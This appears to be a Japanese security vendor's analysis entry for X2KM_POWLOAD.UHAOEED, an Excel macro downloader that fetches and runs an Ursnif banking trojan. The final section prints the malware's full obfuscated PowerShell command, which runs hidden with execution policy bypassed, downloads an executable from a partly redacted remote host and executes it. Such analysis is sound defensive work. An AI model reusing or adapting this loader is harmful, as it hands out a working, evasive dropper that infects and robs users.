X2KM_POWLOAD.UHAOEED

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。 マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• http://{BLOCKED}onazza.com/ptvcon

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %Desktop%\{random numbers}.exe - detected as TSPY_URSNIF.TIBAICI

(註：%Desktop%フォルダは、Windows 2000、XP および Server 2003 の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Desktop"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞\Desktop" です。.)

＜補足＞

ダウンロード活動

マルウェアがダウンロードする以下のファイルは、"TSPY_URSNIF.TIBAICI" として検出されます。

• %Desktop%\{random numbers}.exe

（註：%Desktop%フォルダは、Windows 2000、XP および Server 2003 の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Desktop"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞\Desktop" です。）

注:

エクセルファイルを開封すると、以下の画面が表示され、マクロ機能を有効化するようユーザを誘導します。

マルウェアは、以下のPowershellコマンドを利用して不正なファイルをダウンロードし実行します。

• pOwErShELl -noPRoFi -WIn HiDden -noLo -nONinTerA -ExEcuTIOnP byPass ""$7d0mK6 = [Type](\""{1}{0}{3}{2}\"" -f 'on','eNVIr','Nt','mE') ; do{&(\""{1}{0}\"" -f'ep','sle') 33;${D`es} = $7d0mk6::gEtFoLDeRpATh(\""Desktop\"");(&(\""{0}{1}{2}\"" -f'Ne','w-','Object') (\""{0}{2}{1}{3}{5}{6}{4}\""-f'Sy','te','s','m.Ne','enT','t.WeB','ClI')).dOwNLOaDfiLE.INVokE(\""http://{BLOCKED}onazza.com/ptvcon\"",\""$Des\{random numbers}.exe\"")}while(!${?});&(\""{0}{2}{3}{1}\""-f 'St','ocess','art','-Pr') $Des\{random numbers}.exe